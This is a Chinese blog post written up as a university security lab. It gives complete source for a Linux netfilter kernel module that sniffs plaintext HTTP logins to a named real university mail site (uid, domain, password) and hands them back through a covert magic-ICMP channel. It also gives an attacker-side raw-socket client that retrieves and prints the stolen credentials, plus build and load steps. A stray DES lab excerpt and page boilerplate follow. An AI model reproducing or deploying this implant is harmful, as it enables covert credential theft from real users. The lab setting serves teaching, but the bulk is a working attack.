信息安全实验二:netfilter编程之http密码窃取

理论准备

1、翻译:Hacking the Linux Kernel Netwrok Stack(1)
重点关注:5.2 - 基于内核的FTP密码嗅探器
2、信息安全课程12:防火墙(netfilter/iptables)

实验环境

ubuntu12.04,为了省事还是直接跟咱老师统一环境吧。
另外注意先拍好虚拟机镜像,防止系统损坏。

目标网站分析

本实验窃取密码的前提是要明文传输,先必须找到一个登录页面是采用http协议(非https)的站点,不妨拿学校的邮件系统开刀: ) http://mail.ustc.edu.cn

下面进行抓包分析:在这里插入图片描述
可以看到我们需要的关键字段有三个:uid,domain和password。另外需要注意的如果不是首次登陆浏览器是只提交Cookie的,而在Cookie中会包含uid和domain两个关键字段,不包含password;换用户登录时也会提交一个带之前用户uid的Cookie。我们在窃取用户名及密码时需要先将Cookie字段排除掉。

代码:

1、http_sniff.c :受害者主机上的内核模块代码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/string.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   48

MODULE_LICENSE("GPL");

#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
			       - sizeof(struct iphdr) \
			       - sizeof(struct icmphdr))

//对于邮箱密码需要的字段有三个
static char *userid = NULL;
static char *domain = NULL;
static char *password = NULL;

static int  have_pack = 0;	 

static unsigned int target_ip = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;	       /* Incoming */
struct nf_hook_ops  post_hook;	       /* Outgoing */



/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
	struct tcphdr *tcp;
	char *data;        //tcp数据部分,http
	char *uid;
	char *_and;
	char *domainptr;
	char *passwd;
	int len = 0;

	tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4));
	data = (char *)((int)tcp + (int)(tcp->doff * 4));

	//Cookie中不包含password,但其包含的uid及domain往往并非采用密码登录的用户,先将其排除
	if(strstr(data,"Cookie") != NULL){
		data = strstr(data,"Cookie");    
		if(strstr(data,"\r\n")!= NULL) 
		data = strstr(data,"\r\n");     //匹配Cookie结尾处的回车换行\r\n
		else return;
	}

	//根据抓包分析,ustc邮件系统三个重要的字段是uid,domain和password
	if (strstr(data, "uid") !=NULL && strstr(data,"domain")!=NULL && strstr(data, "password") !=NULL) { 

		data = strstr(data,"uid");

		//用前面查找到的uid匹配出用户名
		uid = strstr(data,"uid=");
		_and = strstr(uid,"&");
		uid += 4;
		len = _and - uid;
		//申请内存,存入uid
		if ((userid = kmalloc(len + 2, GFP_KERNEL)) == NULL)
		  return;
		memset(userid, 0x00, len + 2);
		memcpy(userid, uid, len);
		*(userid + len) = '\0';


		//查找域名
		domainptr = strstr(data,"domain=");
		_and = strstr(domainptr,"&");
		domainptr += 7;
		len = _and-domainptr;
		if((domain = kmalloc(len + 2,GFP_KERNEL)) == NULL) return;
		memset(domain, 0x00, len+2);
		memcpy(domain, domainptr,len);
		*(domain+len) = '\0';

		
		//用前面查找到的password匹配出密码
		passwd = strstr(data,"password=");
		_and = strstr(passwd,"&");
		passwd += 9;
		len = _and - passwd;
		if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
		  return;
		memset(password, 0x00, len + 2);
		memcpy(password,passwd,len);
		*(password + len) = '\0';

	} else {
		return;
	}
	
	if (!target_ip)
     target_ip = ip_hdr(skb)->daddr;

	if (userid && password && domain)
		have_pack ++;		       /* Have a pack. Ignore others until
					   * this pack has been read. */
	if (have_pack)
		printk("Have password pack!  U: %s  D: %s  P: %s\n", userid, domain, password);
}



/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
	struct sk_buff *skb,
	const struct net_device *in,
	const struct net_device *out,
	int(*okfn)(struct sk_buff *))
{
	struct sk_buff *sb = skb;
	struct tcphdr *tcp;

	/* Make sure this is a TCP packet first */
	if (ip_hdr(sb)->protocol != IPPROTO_TCP)
		return NF_ACCEPT;		       /* Nope, not TCP */

	tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4));

	//检测是否为http协议
	if (tcp->dest != htons(80))
		return NF_ACCEPT;		       /* Nope, not FTP */

	  /* Parse the FTP packet for relevant information if we don't already
	   * have a username and password pair. */
	if (!have_pack)
		check_http(sb);

	/* We are finished with the packet, let it go on its way */
	return NF_ACCEPT;
}




/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
static unsigned int watch_in(unsigned int hooknum,
	struct sk_buff *skb,
	const struct net_device *in,
	const struct net_device *out,
	int(*okfn)(struct sk_buff *))
{
	struct sk_buff *sb = skb;
	struct icmphdr *icmp;
	char *cp_data;		       /* Where we copy data to in reply */
	unsigned int   taddr;	       /* Temporary IP holder */

	/* Do we even have a username/password pair to report yet? */
	if (!have_pack)
		return NF_ACCEPT;

	/* Is this an ICMP packet? */
	if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
		return NF_ACCEPT;

	icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4);

	/* Is it the MAGIC packet? */
	if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
		|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
		return NF_ACCEPT;
	}


	/* Okay, matches our checks for "Magicness", now we fiddle with
	 * the sk_buff to insert the IP address, and username/password pair,
	 * swap IP source and destination addresses and ethernet addresses
	 * if necessary and then transmit the packet from here and tell
	 * Netfilter we stole it. Phew... */
	taddr = ip_hdr(sb)->saddr;
	ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
	ip_hdr(sb)->daddr = taddr;

	sb->pkt_type = PACKET_OUTGOING;

	switch (sb->dev->type) {
	case ARPHRD_PPP:		       /* Ntcho iddling needs doing */
		break;
	case ARPHRD_LOOPBACK:
	case ARPHRD_ETHER:
	{
		unsigned char t_hwaddr[ETH_ALEN];

		/* Move the data pointer to point to the link layer header */
		sb->data = (unsigned char *)eth_hdr(sb);
		sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
		memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
		memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
			ETH_ALEN);
		memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
		break;
	}
	};

	/* Now copy the IP address, then Username, then password into packet */
	cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
	memcpy(cp_data, &target_ip, 4);
	if (userid)
		//memcpy(cp_data + 4, username, 16);
		memcpy(cp_data + 4, userid, 12);
	if (domain)
		memcpy(cp_data + 16,domain , 16);
	if (password)
		memcpy(cp_data + 32, password, 16);

	/* This is where things will die if they are going to.
	 * Fingers crossed... */
	dev_queue_xmit(sb);

	
	kfree(userid);
	kfree(domain);
	kfree(password);
	userid = domain = password = NULL;
	have_pack = 0;
	target_ip = 0;

	printk("Password retrieved\n");

	return NF_STOLEN;
}


int init_module()
{
	pre_hook.hook = watch_in;
	pre_hook.pf = PF_INET;
	pre_hook.priority = NF_IP_PRI_FIRST;
	pre_hook.hooknum = NF_INET_PRE_ROUTING;

	post_hook.hook = watch_out;
	post_hook.pf = PF_INET;
	post_hook.priority = NF_IP_PRI_FIRST;
	post_hook.hooknum = NF_INET_POST_ROUTING;

	nf_register_hook(&pre_hook);
	nf_register_hook(&post_hook);

	return 0;
}


void cleanup_module()
{
	nf_unregister_hook(&post_hook);
	nf_unregister_hook(&pre_hook);

	if (password)
		kfree(password);
	if (domain)
		kfree(domain);
	if (userid)
		kfree(userid);
}

2、getpass_http.c: 攻击者获取用户名密码程序

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD		       /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
	unsigned char dgram[256];	       /* Plenty for a PING datagram */
	unsigned char recvbuff[256];
	struct ip *iphead = (struct ip *)dgram;
	struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
	struct sockaddr_in src;
	struct sockaddr_in addr;
	struct in_addr my_addr;
	struct in_addr serv_addr;
	socklen_t src_addr_size = sizeof(struct sockaddr_in);
	int icmp_sock = 0;
	int one = 1;
	int *ptr_one = &one;

	if (argc < 3) {
		fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
		exit(1);
	}

	/* Get a socket */
	if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
		fprintf(stderr, "Couldn't open raw socket! %s\n",
			strerror(errno));
		exit(1);
	}

	/* set the HDR_INCL option on the socket */
	if (setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
		ptr_one, sizeof(one)) < 0) {
		close(icmp_sock);
		fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
			strerror(errno));
		exit(1);
	}

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr(argv[1]);

	my_addr.s_addr = inet_addr(argv[2]);

	memset(dgram, 0x00, 256);
	memset(recvbuff, 0x00, 256);

	/* Fill in the IP fields first */
	iphead->ip_hl = 5;
	iphead->ip_v = 4;
	iphead->ip_tos = 0;
	iphead->ip_len = 84;
	iphead->ip_id = (unsigned short)rand();
	iphead->ip_off = 0;
	iphead->ip_ttl = 128;
	iphead->ip_p = IPPROTO_ICMP;
	iphead->ip_sum = 0;
	iphead->ip_src = my_addr;
	iphead->ip_dst = addr.sin_addr;

	/* Now fill in the ICMP fields */
	icmphead->icmp_type = ICMP_ECHO;
	icmphead->icmp_code = 0x5B;
	icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

	/* Finally, send the packet */
	fprintf(stdout, "Sending request...\n");
	if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
		sizeof(struct sockaddr)) < 0) {
		fprintf(stderr, "\nFailed sending request! %s\n",
			strerror(errno));
		return 0;
	}

	fprintf(stdout, "Waiting for reply...\n");
	if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
		&src_addr_size) < 0) {
		fprintf(stdout, "Failed getting reply packet! %s\n",
			strerror(errno));
		close(icmp_sock);
		exit(1);
	}

	iphead = (struct ip *)recvbuff;
	icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
	memcpy(&serv_addr, ((char *)icmphead + 8),
		sizeof(struct in_addr));

	fprintf(stdout, "Stolen for http server %s:\n", inet_ntoa(serv_addr));
	fprintf(stdout, "Userid:    %s\n",
		(char *)((char *)icmphead + 12));
	fprintf(stdout, "Domain:    %s\n",
		(char *)((char *)icmphead + 24));
	fprintf(stdout, "Password:    %s\n",
		(char *)((char *)icmphead + 40));

	close(icmp_sock);

	return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
	unsigned long sum;

	for (sum = 0; numwords > 0; numwords--)
		sum += *buff++;   /* add next word, then increment pointer */

	sum = (sum >> 16) + (sum & 0xFFFF);
	sum += (sum >> 16);

	return ~sum;
}
测试运行

编写Makefile文件

obj-m += http_sniff.o

all:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
		make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

make
在这里插入图片描述
加载模块
sudo insmod ./http_sniff.ko
lsmod 查看模块

测试:
在这里插入图片描述

dmesg 查看设备printk信息
在这里插入图片描述
从攻击者视角获取密码:
在这里插入图片描述
rmmod http_sniff 关闭模块(完成后再关)

参考:https://blog.csdn.net/bw_yyziq/article/details/78290715
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
实验名称: DES算法的编程实现 一、实验概述: DES是美国国家标准技术研究所NIST于1977年制定的分组密码的加密标准,广泛应用于商用数据加密。尽管目前逐渐为AES算法所替代,但作为第一个被公布出来的标准算法,对现代分组密码理论的发展和应用起了奠基性作用,其基本理论和设计思想仍有重要参考价值。DES采用对称分组密码体制,数据块分组长度为64比特,密钥长度是56比特,若输入64比特,则有8个比特用于奇偶校验位。 实验目的: 1、 理解分组加密算法的原理和特点 2、 掌握DES算法的加密原理 三、实验原理: DES算法是一种典型的明文块加密标准一一一种将固定长度的明文通过一系列复杂的操作变成同样长度的密文的算法。 对DES而言,块长度为64位。同时,DES使用密钥来自定义变换过程,因此算法认为只有持有加密所用的密钥的用户才能解密密文。密钥表面上是64位的,然而只有其中的56位被实际用于算法,其余8位可以被用于奇偶校验,并在算法中 被丢弃。因此,DES的有效密钥长度为56位,通常称DES的密钥长度为56位。 与其它加密算法相似,DES自身并不是加密的实用手段,而必须以某种工作模式进行实际操作。 DES同时使用了代换和置换两种技巧,整个过程分为两大部分: 1,加密过程; 2,子密钥产生过程。 需要注意的是,DES算法的计算结果与其运作的平台上的编码、所选的加密模式、填充模式等密切相关,所以不同的软件针对同一密文、同一密钥解密出来的结果可能是不一样的,这与计算的正确性无关。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值